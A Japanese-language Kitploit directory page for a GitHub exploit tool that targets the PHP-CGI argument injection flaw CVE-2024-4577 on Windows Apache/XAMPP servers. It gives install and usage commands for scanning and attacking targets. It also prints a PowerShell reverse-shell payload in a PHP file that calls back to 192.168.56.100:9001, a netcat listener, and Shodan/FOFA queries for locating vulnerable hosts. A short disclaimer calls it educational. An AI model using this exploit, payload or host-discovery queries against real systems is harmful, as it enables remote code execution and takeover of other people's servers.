Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-4577-RCE — PHP CGI 引数インジェクション (CVE-2024-4577) を悪用し、Apache と PHP-CGI を実行する脆弱な Windows サーバー上でリモートコード実行を可能にするエクスプロイトです。スキャン、悪用、リバースシェルペイロードの配信機能を含みます。 | Kitploit
ツール/GitHubGitHub/gh-ost00/cve-2024-4577-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubgh-ost00/cve-2024-4577-rce

CVE-2024-4577-RCE

PHP CGI 引数インジェクション (CVE-2024-4577) を悪用し、Apache と PHP-CGI を実行する脆弱な Windows サーバー上でリモートコード実行を可能にするエクスプロイトです。スキャン、悪用、リバースシェルペイロードの配信機能を含みます。

リポジトリを見る
255382年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PHP CGI 引数インジェクション (CVE-2024-4577) RCE

📜 説明

PHP 8.1.(8.1.29 以前)、8.2.(8.2.20 以前)、8.3.*(8.3.8 以前)のバージョンにおいて、Windows 上で Apache と PHP-CGI を使用する際、システムが特定のコードページを使用するように設定されている場合、Windows は Win32 API 関数に与えられたコマンドラインの文字を置き換えるために「Best-Fit」動作を使用することがあります。PHP CGI モジュールはこれらの文字を PHP オプションと誤解釈する可能性があり、悪意のあるユーザーが実行中の PHP バイナリにオプションを渡し、スクリプトのソースコードを漏洩させたり、サーバー上で任意の PHP コードを実行したりすることを許します。

「XAMPP はデフォルト設定で脆弱であり、/php-cgi/php-cgi.exe エンドポイントを標的にすることができます。.php エンドポイント(例: /index.php)を標的にするには、サーバーが CGI モードで PHP スクリプトを実行するように設定されている必要があります。」

🛠️ インストール

$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt 

⚙️ 使用法

$ python3 CVE-2024-4577.py -s -t https://target.com/

🤖 リバースシェルの確立

PHP ペイロード

[!NOTE] このツールは現実的な攻撃と技術(TTP)を実証しています。ただし、この特定のペイロードサンプルはこのシナリオでは機能しません。完全に機能するペイロードを得るには、shell.php を変更してください。

# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";

exec($payload);
?>
 

🖥️ サーバーのスキャン

$ python3 CVE-2024-4577.py -s -t https://target.com/                                                   
  ______     _______   ____   ___ ____  _  _         _  _  ____ _____ _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || || ___|___  |___  |
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || ||___ \  / /   / / 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |/ /   / /  
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____//_/   /_/    
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning  

[+] Target https://target.com is vulnerable to CVE-2024-4577

🎯 脆弱なサーバーへの攻撃

$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
                                                  
 ______     _______   ____   ___ ____  _  _         _  _  ____ _____ _____ 
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || || ___|___  |___  |
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || ||___ \  / /   / / 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |/ /   / /  
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____//_/   /_/    
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning  

[+] Exploit successful!

👨🏻‍💻 Netcat リスナー

$ nc -lvnp 9001

🔍 脆弱なホストの発見

  • Shodan: server: PHP 8.1, server: PHP 8.2, server: PHP 8.3
  • FOFA: protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"

💁 参考文献

  • https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
  • https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
  • http://www.openwall.com/lists/oss-security/2024/06/07/1
  • https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
  • https://www.php.net/ChangeLog-8.php#8.1.29
  • https://www.php.net/ChangeLog-8.php#8.2.20
  • https://www.php.net/ChangeLog-8.php#8.3.8
  • https://github.com/l0n3m4n/CVE-2024-4577-RCE/

⚠️ 免責事項

このツールは教育および研究目的のみで提供されています。作成者は、ツールの誤用または損害について一切の責任を負いません。

ツールをダウンロード